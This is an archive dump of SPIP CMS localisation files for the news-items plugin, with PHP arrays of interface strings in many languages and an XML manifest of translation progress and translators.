'titre_breve_proposee' => '5ubm1773d n3w5 173m',
'titre_breve_publiee' => 'N3w5 173m pub115h3d',
'titre_breve_refusee' => 'N3w5 173m r3j3c73d',
'titre_breves' => 'N3w5',
'titre_langue_breve' => 'N3W5 173M 14NGU4G3', # MODIF
'titre_page_breves' => 'N3w5'
);
?>
breves_hu.php 0000666 00000003162 15252255245 0007254 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Hírek',
// E
'entree_breve_publiee' => 'Ezt a hírt publikálni kell?', # MODIF
'entree_texte_breve' => 'Hír szövege',
// I
'icone_breves' => 'Hírek',
'icone_ecrire_nouvel_article' => 'E rovatban szereplő hírek',
'icone_modifier_breve' => 'A hír módosítása',
'icone_nouvelle_breve' => 'Új hír írása',
'info_1_breve' => '1 hír',
'info_breves' => 'Az Ön honlapja használja-e a hírek rendszerét ?',
'info_breves_02' => 'Hírek',
'info_breves_valider' => 'Jóváhagyandó hírek',
'info_gauche_numero_breve' => 'HÍR SZÁMA', # MODIF
'item_breve_proposee' => 'Javasolt hír', # MODIF
'item_breve_refusee' => 'NEM - Elutasított hír', # MODIF
'item_breve_validee' => 'IGEN - Elfogadott hír', # MODIF
'item_non_utiliser_breves' => 'Nem kell használni a híreket',
'item_utiliser_breves' => 'Hírek használata',
// L
'logo_breve' => 'A HÍR LOGOJA', # MODIF
// T
'texte_breves' => 'A hírek olyan rövid és egyszerű szövegek, melyeknek segítségével lehet gyorsan publikálni rövid információkat, napszemlét, eseménynaptárt...',
'titre_breve_proposee' => 'Javasolt hír',
'titre_breve_publiee' => 'Publikált hír',
'titre_breve_refusee' => 'Elutasított hír',
'titre_breves' => 'A hírek',
'titre_langue_breve' => 'A HÍR NYELVE', # MODIF
'titre_page_breves' => 'Hírek'
);
?>
breves_nb.php 0000666 00000001712 15252255245 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=nb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_breves' => 'Nyheter',
'icone_ecrire_nouvel_article' => 'Nyheter i denne seksjonen',
'icone_modifier_breve' => 'Endre nyhet',
'icone_nouvelle_breve' => 'Skriv en nyhet',
'info_1_breve' => '1 nyhet',
'info_breves_02' => 'Nyheter',
'info_breves_valider' => 'Nye elementer som må godkjennes',
'item_breve_proposee' => 'Nyheter lagt inn', # MODIF
// L
'logo_breve' => 'NYHETENS LOGO', # MODIF
// T
'titre_breve_proposee' => 'Sendte inn en nyhet',
'titre_breve_publiee' => 'Nyhet publisert',
'titre_breve_refusee' => 'Nyhet forkastet',
'titre_breves' => 'Nyheter',
'titre_langue_breve' => 'NYHETSSPRÅK', # MODIF
'titre_page_breves' => 'Nyheter'
);
?>
breves_ast.php 0000666 00000003353 15252255245 0007431 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Breve',
'breves' => 'Breves',
// E
'entree_breve_publiee' => '¿Hai qu’espublizar esta breve?', # MODIF
'entree_texte_breve' => 'Testu de la breve',
// I
'icone_breves' => 'Breves',
'icone_ecrire_nouvel_article' => 'Les breves conteníes nesta estaya',
'icone_modifier_breve' => 'Iguar esta breve',
'icone_nouvelle_breve' => 'Escribir una breve nueva',
'info_1_breve' => '1 breve',
'info_aucun_breve' => 'Denguna breve',
'info_breves' => '¿Utiliza’l to sitiu el sistema de breves?',
'info_breves_02' => 'Breves',
'info_breves_valider' => 'Curties por validar',
'info_gauche_numero_breve' => 'BREVE NÚMBERU', # MODIF
'info_nb_breves' => '@nb@ breves',
'item_breve_proposee' => 'Breve propuesta', # MODIF
'item_breve_refusee' => 'NON - Breve refugada', # MODIF
'item_breve_validee' => 'SI - Breve validada', # MODIF
'item_non_utiliser_breves' => 'Nun utilizar les breves',
'item_utiliser_breves' => 'Utilizar les breves',
// L
'logo_breve' => 'LOGO DE LA BREVE', # MODIF
// T
'texte_breves' => 'Les breves son testos curtios y simples que permiten
poner en llinia dafechu informaciones concises, xestionar
una revista de prensa, una axenda de convocatories...',
'titre_breve_proposee' => 'Breve propuesta',
'titre_breve_publiee' => 'Breve publicada',
'titre_breve_refusee' => 'Breve refugada',
'titre_breves' => 'Les breves',
'titre_langue_breve' => 'LLINGUA DE LA BREVE', # MODIF
'titre_page_breves' => 'Breves'
);
?>
breves_ne.php 0000666 00000001537 15252255245 0007246 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ne
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'छोटकरीमा',
// I
'icone_breves' => 'छोटकरीमा',
'icone_nouvelle_breve' => 'नयाँ खबर लेख्नुहोस्',
'info_breves_02' => 'छोटकरीमा',
'info_breves_valider' => 'समाचार मान्य हुन बाँकी',
'item_breve_proposee' => 'खबर पेश गर्नु भएको', # MODIF
// T
'titre_breve_publiee' => 'खबर प्रकाशित भएको',
'titre_breve_refusee' => 'खबर अस्वीकारेको'
);
?>
breves_pt_br.php 0000666 00000003215 15252255245 0007745 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Nota',
'breves' => 'Notas',
// E
'entree_breve_publiee' => 'Esta nota está:',
'entree_texte_breve' => 'Texto da nota',
// I
'icone_breves' => 'Notas',
'icone_ecrire_nouvel_article' => 'As notas contidas nesta seção',
'icone_modifier_breve' => 'Editar esta nota',
'icone_nouvelle_breve' => 'Escrever uma nova nota',
'info_1_breve' => '1 nota',
'info_aucun_breve' => 'Nenhuma nota',
'info_breves' => 'O seu site utiliza o sistema de notas?',
'info_breves_02' => 'Notas',
'info_breves_valider' => 'Notas para validar',
'info_gauche_numero_breve' => 'Nota número',
'info_nb_breves' => '@nb@ notas',
'item_breve_proposee' => 'Proposta para publicação',
'item_breve_refusee' => 'recusada',
'item_breve_validee' => 'validada',
'item_non_utiliser_breves' => 'Não utilizar as notas',
'item_utiliser_breves' => 'Utilizar as notas',
// L
'logo_breve' => 'Logo da nota',
// T
'texte_breves' => 'As notas são textos curtos e simples que permitem rapidamente disponibilizar online informações concisas, gerenciar o clipping, um calendário de eventos...',
'titre_breve_proposee' => 'Nota proposta',
'titre_breve_publiee' => 'Nota publicada',
'titre_breve_refusee' => 'Nota recusada',
'titre_breves' => 'As notas',
'titre_langue_breve' => 'Idioma da nota',
'titre_nouvelle_breve' => 'Nova nota',
'titre_page_breves' => 'Notas'
);
?>
breves_sk.php 0000666 00000003235 15252255245 0007256 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Novinka',
'breves' => 'Novinky',
// E
'entree_breve_publiee' => 'Táto novinka je:',
'entree_texte_breve' => 'Text novinky',
// I
'icone_breves' => 'Novinky',
'icone_ecrire_nouvel_article' => 'Novinky v tejto rubrike',
'icone_modifier_breve' => 'Upraviť túto novinku',
'icone_nouvelle_breve' => 'Vytvoriť novinku',
'info_1_breve' => '1 novinka',
'info_aucun_breve' => 'Žiadne novinky',
'info_breves' => 'Chcete využívať novinky?',
'info_breves_02' => 'Novinky',
'info_breves_valider' => 'Novinky čakajúce na schválenie',
'info_gauche_numero_breve' => 'Novinka číslo',
'info_nb_breves' => '@nb@ noviniek',
'item_breve_proposee' => 'navrhnutá na schválenie',
'item_breve_refusee' => 'zamietnutá',
'item_breve_validee' => 'schválená',
'item_non_utiliser_breves' => 'Nepoužívať novinky',
'item_utiliser_breves' => 'Používať novinky',
// L
'logo_breve' => 'Logo novinky',
// T
'texte_breves' => 'Novinky sú stručné správy, ktoré umožňujú
publikovať bleskové správy, riadiť prehľady tlače, kalendár udalostí, atď.',
'titre_breve_proposee' => 'Novinka odoslaná',
'titre_breve_publiee' => 'Novinka publikovaná',
'titre_breve_refusee' => 'Novinka zamietnutá',
'titre_breves' => 'Novinky',
'titre_langue_breve' => 'Jazyk novinky',
'titre_nouvelle_breve' => 'Nová novinka',
'titre_page_breves' => 'Novinky'
);
?>
paquet-breves_it.php 0000666 00000000700 15252255245 0010544 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Le brevi sono piccole fonti di informazioni, senza autori.',
'breves_slogan' => 'Gestione delle brevi in SPIP'
);
?>
breves_da.php 0000666 00000003150 15252255245 0007221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Nyheder',
// E
'entree_breve_publiee' => 'Skal denne nyhed offentliggøres?', # MODIF
'entree_texte_breve' => 'Nyhedstekst',
// I
'icone_breves' => 'Nyheder',
'icone_ecrire_nouvel_article' => 'Nye indlæg i dette afsnit',
'icone_modifier_breve' => 'Ret denne nyhed',
'icone_nouvelle_breve' => 'Skriv ny nyhed',
'info_1_breve' => '1 nyhed',
'info_breves' => 'Bruger dit websted nyhedssystemet?',
'info_breves_02' => 'Nyheder',
'info_breves_valider' => 'Nyheder der afventer godkendelse',
'info_gauche_numero_breve' => 'NYHED NUMMER:', # MODIF
'item_breve_proposee' => 'Nyhed indsendt', # MODIF
'item_breve_refusee' => 'NEJ - Nyhed afvist', # MODIF
'item_breve_validee' => 'JA - Nyhed godkendt', # MODIF
'item_non_utiliser_breves' => 'Luk ikke op for nyheder',
'item_utiliser_breves' => 'Anvend nyheder',
// L
'logo_breve' => 'LOGO TIL NYHEDEN', # MODIF
// T
'texte_breves' => 'Nyheder er korte og enkle tekster der muliggør online offentliggørelse af præcis information, administration af presseanmeldelser, arrangementskalender...',
'titre_breve_proposee' => 'Indsendte nyheder',
'titre_breve_publiee' => 'Offentliggjorte nyheder',
'titre_breve_refusee' => 'Afviste nyheder',
'titre_breves' => 'Nyheder',
'titre_langue_breve' => 'NYHEDENS SPROG', # MODIF
'titre_page_breves' => 'Nyheder'
);
?>
breves_nl.php 0000666 00000003445 15252255245 0007255 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Nieuwsbericht',
'breves' => 'Nieuwsberichten',
// E
'entree_breve_publiee' => 'Dit bericht is:',
'entree_texte_breve' => 'Tekst van het bericht',
// I
'icone_breves' => 'Berichten',
'icone_ecrire_nouvel_article' => 'De berichten van deze rubriek',
'icone_modifier_breve' => 'Dit bericht wijzigen',
'icone_nouvelle_breve' => 'Een nieuwsbericht schrijven',
'info_1_breve' => '1 bericht',
'info_aucun_breve' => 'Geen nieuws',
'info_breves' => 'Werkt je website met het systeem van berichten?',
'info_breves_02' => 'nieuwsberichten',
'info_breves_valider' => 'Berichten ter goedkeuring',
'info_gauche_numero_breve' => 'Bericht nummer',
'info_nb_breves' => '@nb@ berichten',
'item_breve_proposee' => 'ter evaluatie voorgesteld',
'item_breve_refusee' => 'geweigerd',
'item_breve_validee' => 'goedgekeurd',
'item_non_utiliser_breves' => 'Geen gebruik maken van nieuwsberichten',
'item_utiliser_breves' => 'Nieuwsberichten gebruiken',
// L
'logo_breve' => 'Logo van het nieuwsbericht',
// T
'texte_breves' => 'Berichten zijn korte en eenvoudige teksten die je toelaten nieuws snel online te brengen, een persbericht op te stellen, een evenementenkalender te maken, ...',
'titre_breve_proposee' => 'Voorgesteld bericht',
'titre_breve_publiee' => 'Gepubliceerd bericht',
'titre_breve_refusee' => 'Geweigerd bericht',
'titre_breves' => 'Berichten',
'titre_langue_breve' => 'Taal van het nieuwsbericht',
'titre_nouvelle_breve' => 'Nieuwe nieuwsbericht',
'titre_page_breves' => 'Berichten'
);
?>
paquet-breves_pt.php 0000666 00000000671 15252255245 0010562 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'As notícias são informações curtas, sem autor.',
'breves_slogan' => 'Gestão das notícias em SPIP'
);
?>
breves_tr.php 0000666 00000003372 15252255245 0007270 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Kısa haberler',
// E
'entree_breve_publiee' => 'Bu kısa haber yayınlanmalı mı ?', # MODIF
'entree_texte_breve' => 'Kısa haber özeti',
// I
'icone_breves' => 'Kısa haberler',
'icone_ecrire_nouvel_article' => 'Bu bölümdeki kısa haberler',
'icone_modifier_breve' => 'Bu kısa haberi değiştir',
'icone_nouvelle_breve' => 'Yeni bir kısa haber yaz',
'info_1_breve' => '1 kısa haber',
'info_breves' => 'Siteniz kısa haber sistemini kullanıyor mu ?',
'info_breves_02' => 'Kısa haberler',
'info_breves_valider' => 'Onaylanacak kısa haberler',
'info_gauche_numero_breve' => 'KISA HABER NUMARASI', # MODIF
'item_breve_proposee' => 'Önerilen kısa haber', # MODIF
'item_breve_refusee' => 'HAYIR - Kısa haber reddedildi', # MODIF
'item_breve_validee' => 'EVET - Kısa haber onaylandı', # MODIF
'item_non_utiliser_breves' => 'Kısa haberleri kullanma',
'item_utiliser_breves' => 'Kısa haberleri kullan',
// L
'logo_breve' => 'KISA HABER LOGOSU', # MODIF
// T
'texte_breves' => 'Kısa haberler kısa ve sade metinler olup,
özlü bilgileri süratle çevrimiçi iletmeye,
bir basın özeti, bir olaylar takvimi yaratmaya yarar...',
'titre_breve_proposee' => 'Önerilen kısa haber',
'titre_breve_publiee' => 'Yayınlanan kısa haber',
'titre_breve_refusee' => 'Reddedilen kısa haber',
'titre_breves' => 'Kısa haberler ',
'titre_langue_breve' => 'KISA HABERİN DİLİ', # MODIF
'titre_page_breves' => 'Kısa haberler'
);
?>
breves_nap.php 0000666 00000001736 15252255245 0007423 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=nap
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// E
'entree_breve_publiee' => 'Questa breve deve essere pubblicata?', # MODIF
// I
'icone_breves' => 'Nfrómme',
'icone_nouvelle_breve' => 'Scrivite na nfrómma',
'info_breves_02' => 'Nfrómme',
'info_breves_valider' => 'Nfrómme ’a appruvà',
'info_gauche_numero_breve' => 'BREVE NUMERO', # MODIF
'item_breve_proposee' => 'Nfrómma propostata', # MODIF
'item_breve_refusee' => 'NO - Breve rifiutata', # MODIF
'item_breve_validee' => 'SI - Breve convalidata', # MODIF
// L
'logo_breve' => 'LOGO DELLA BREVE', # MODIF
// T
'titre_breve_publiee' => 'Nfròmma pubbrecata',
'titre_breve_refusee' => 'Nfròmma refutata',
'titre_langue_breve' => 'LINGUA DELLA BREVE' # MODIF
);
?>
breves_eu.php 0000666 00000003235 15252255245 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Berri-labur',
'breves' => 'Berri-laburrak',
// E
'entree_breve_publiee' => 'Berri labur hau argitaratuko dugu?', # MODIF
'entree_texte_breve' => 'Berri laburraren testua',
// I
'icone_breves' => 'Berri laburrak',
'icone_ecrire_nouvel_article' => 'Atal honen berri laburrak',
'icone_modifier_breve' => 'Berri laburhau aldatu',
'icone_nouvelle_breve' => 'Labur berri bat eratu',
'info_1_breve' => 'berri labur 1',
'info_breves' => 'Berri laburren sistema erabil dezakezu',
'info_breves_02' => 'Laburrak',
'info_breves_valider' => 'Egiaztatzeko laburrak',
'info_gauche_numero_breve' => 'Berri laburra', # MODIF
'item_breve_proposee' => 'Proposaturiko berri laburra', # MODIF
'item_breve_refusee' => 'Berri laburra arbuiaturik', # MODIF
'item_breve_validee' => 'Berri laburra arbuiaturik', # MODIF
'item_non_utiliser_breves' => 'Ez erabili berri laburrak',
'item_utiliser_breves' => 'Berri laburrak erabili',
// L
'logo_breve' => 'BERRI LABURRAREN LOGOA', # MODIF
// T
'texte_breves' => 'Laburrak argibide zehatzenargitaratze azkarra uzten duten artikulu txikiak dira.',
'titre_breve_proposee' => 'Proposatutako laburra',
'titre_breve_publiee' => 'Argitaratutako laburra',
'titre_breve_refusee' => 'Ezeztatutako laburra',
'titre_breves' => 'Laburrak',
'titre_langue_breve' => 'LABURRAREN HIZKUNTZA', # MODIF
'titre_page_breves' => 'Berri laburrak'
);
?>
breves_it_fem.php 0000666 00000003217 15252255245 0010104 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brevi',
// E
'entree_breve_publiee' => 'Questa breve deve essere pubblicata?', # MODIF
'entree_texte_breve' => 'Testo della breve',
// I
'icone_breves' => 'Brevi',
'icone_ecrire_nouvel_article' => 'Le brevi contenute nella rubrica',
'icone_modifier_breve' => 'Modifica la breve',
'icone_nouvelle_breve' => 'Scrivi una breve',
'info_1_breve' => '1 breve',
'info_breves' => 'Il tuo sito dovrà utilizzare il sistema di brevi?',
'info_breves_02' => 'Brevi',
'info_breves_valider' => 'Brevi da convalidare',
'info_gauche_numero_breve' => 'BREVE NUMERO', # MODIF
'item_breve_proposee' => 'Breve proposta', # MODIF
'item_breve_refusee' => 'NO - Breve rifiutata', # MODIF
'item_breve_validee' => 'SI - Breve convalidata', # MODIF
'item_non_utiliser_breves' => 'Non utilizzare le brevi',
'item_utiliser_breves' => 'Utilizza le brevi',
// L
'logo_breve' => 'LOGO DELLA BREVE', # MODIF
// T
'texte_breves' => 'Le brevi sono dei testi corti e semplici che consentono
di mettere on line rapidamente delle news di attualità,
di gestire una rassegna stampa o un calendario di eventi, ecc.',
'titre_breve_proposee' => 'Breve proposta',
'titre_breve_publiee' => 'Breve pubblicata',
'titre_breve_refusee' => 'Breve rifiutata',
'titre_breves' => 'Le brevi',
'titre_langue_breve' => 'LINGUA DELLA BREVE', # MODIF
'titre_page_breves' => 'Brevi'
);
?>
breves_la.php 0000666 00000001266 15252255245 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Pronuntiationes',
// I
'icone_breves' => 'Pronuntiationes',
'icone_nouvelle_breve' => 'Novam pronuntiationem scribere',
'info_breves_02' => 'Pronuntiationes',
'info_breves_valider' => 'Probandæ pronuntiationes',
// T
'titre_breve_proposee' => 'Proposita pronuntiatio',
'titre_breve_publiee' => 'Edita pronuntiatio',
'titre_breve_refusee' => 'Recusata pronuntiatio'
);
?>
breves.xml 0000666 00000033627 15252255245 0006602 0 ustar 00 <traduction module="breves" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/breves/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ar" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ast" total="29" traduits="21" relire="0" modifs="7" nouveaux="1" pourcent="72.41">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ay" total="29" traduits="13" relire="0" modifs="3" nouveaux="13" pourcent="44.83">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/breves?lang_cible=bg" total="29" traduits="18" relire="0" modifs="6" nouveaux="5" pourcent="62.07">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/breves?lang_cible=br" total="29" traduits="18" relire="0" modifs="6" nouveaux="5" pourcent="62.07">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/breves?lang_cible=bs" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ca" total="29" traduits="21" relire="0" modifs="7" nouveaux="1" pourcent="72.41">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/breves?lang_cible=co" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/breves?lang_cible=cpf" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/breves?lang_cible=cpf_hat" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/breves?lang_cible=cs" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/breves?lang_cible=da" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/breves?lang_cible=de" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/breves?lang_cible=el" total="29" traduits="15" relire="0" modifs="3" nouveaux="11" pourcent="51.72">
<traducteur nom="Yannick Bailly" lien="http://trad.spip.net/auteur/yannick-bailly" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/breves?lang_cible=en" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/breves?lang_cible=en_hx" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/breves?lang_cible=eo" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/breves?lang_cible=es" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
<traducteur nom="severo" lien="http://trad.spip.net/auteur/severo" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/breves?lang_cible=eu" total="29" traduits="19" relire="0" modifs="7" nouveaux="3" pourcent="65.52">
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fa" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fi" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fi" total="29" traduits="10" relire="0" modifs="2" nouveaux="17" pourcent="34.48">
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fon" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fr" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fr_fem" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/breves?lang_cible=fr_tu" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="RealET" lien="http://trad.spip.net/auteur/realet" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/breves?lang_cible=gl" total="29" traduits="21" relire="0" modifs="7" nouveaux="1" pourcent="72.41">
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/breves?lang_cible=hac" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/breves?lang_cible=he" total="29" traduits="16" relire="0" modifs="6" nouveaux="7" pourcent="55.17">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
</langue>
<langue code="hr" url="http://trad.spip.net/tradlang_module/breves?lang_cible=hr" total="29" traduits="9" relire="0" modifs="4" nouveaux="16" pourcent="31.03">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/breves?lang_cible=hu" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/breves?lang_cible=id" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="is" url="http://trad.spip.net/tradlang_module/breves?lang_cible=is" total="29" traduits="5" relire="0" modifs="2" nouveaux="22" pourcent="17.24">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/breves?lang_cible=it" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/breves?lang_cible=it_fem" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/breves?lang_cible=ja" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/breves?lang_cible=km" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="la" url="http://trad.spip.net/tradlang_module/breves?lang_cible=la" total="29" traduits="8" relire="0" modifs="0" nouveaux="21" pourcent="27.59">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/breves?lang_cible=lb" total="29" traduits="29" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="lt" url="http://trad.spip.net/tradlang_module/breves?lang_cible=lt" total="29" traduits="13" relire="0" modifs="3" nouveaux="13" pourcent="44.83">
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/breves?lang_cible=my" total="29" traduits="18" relire="0" modifs="7" nouveaux="4" pourcent="62.07">
</langue>
<langue code="nap" url="http://trad.spip.net/tradlang_module/breves?lang_cible=nap" total="29" traduits="6" relire="0" modifs="7" nouveaux="16" pourcent="20.69">
</langue>
